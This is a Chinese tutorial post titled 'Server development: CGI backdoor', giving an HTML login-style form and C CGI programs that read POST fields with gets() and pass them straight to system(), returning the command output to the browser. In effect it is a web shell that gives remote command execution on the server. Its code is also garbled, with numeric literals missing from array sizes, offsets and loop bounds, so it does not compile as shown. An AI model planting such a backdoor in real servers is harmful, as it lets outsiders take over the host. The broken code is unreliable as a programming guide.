服务器开发之CGI后门

1.html代码

<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>

2.C代码

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB"

void main123()
{
    printf("Content-type:text/html\n\n");//换行
    char szpost[] = {  };
    gets(szpost);
    printf("%s", szpost);

    char*p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
        *p1 = '\0';
    }
    printf("<br>%s", szpost + );

    char *p2 = strchr(p1 + , '&');
    if (*p2!=NULL)
    {
        *p2 = '\0';
    }
    printf("<br>%s", p1+);

    //system(szpost + 5);
    char cmd[] = {  };
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand();
    sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
    char filename[] = {  };
    sprintf(filename, "%d.txt", num);
    system(cmd);

    FILE *pf = fopen(filename, "r");
    while (!feof(pf))
    {
        char ch = fgetc(pf);
        if (ch == '\n')
        {
            printf("<br>");
        }
        else
        {
            putchar(ch);
        }

    }
    fclose(pf);

}

void main3()
{
    printf("Content-type:text/html\n\n");//换行
    char szpost[] = {  };
    gets(szpost);
    printf("%s", szpost);

    char*p1 = strchr(szpost, '&');
    if (*p1!=NULL)
    {
        *p1 = '\0';
    }
    printf("<br>%s", szpost + );

    //system(szpost + 5);
    char cmd[] = {  };
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand();
    sprintf(cmd, "%s >%d.txt", szpost + ,num);
    char filename[] = {  };
    sprintf(filename,"%d.txt", num);
    system(cmd);

    FILE *pf = fopen(filename, "r");
    while (!feof(pf))
    {
        char ch = fgetc(pf);
        if (ch=='\n')
        {
            printf("<br>");
        }
        else
        {
            putchar(ch);
        }

    }
    fclose(pf);

}

void main2()
{
    printf("Content-type:text/html\n\n");//换行
    char szpost[] = {  };
    gets(szpost);
    printf("%s", szpost);

}

//重定向输出
//输入
void main()
{
    printf("Content-type:text/html\n\n");//换行
    for (int i = ; i < ; i++)
    {
        //printf("锄禾日当午\n");
        printf("锄禾日当午<br>");
    }

}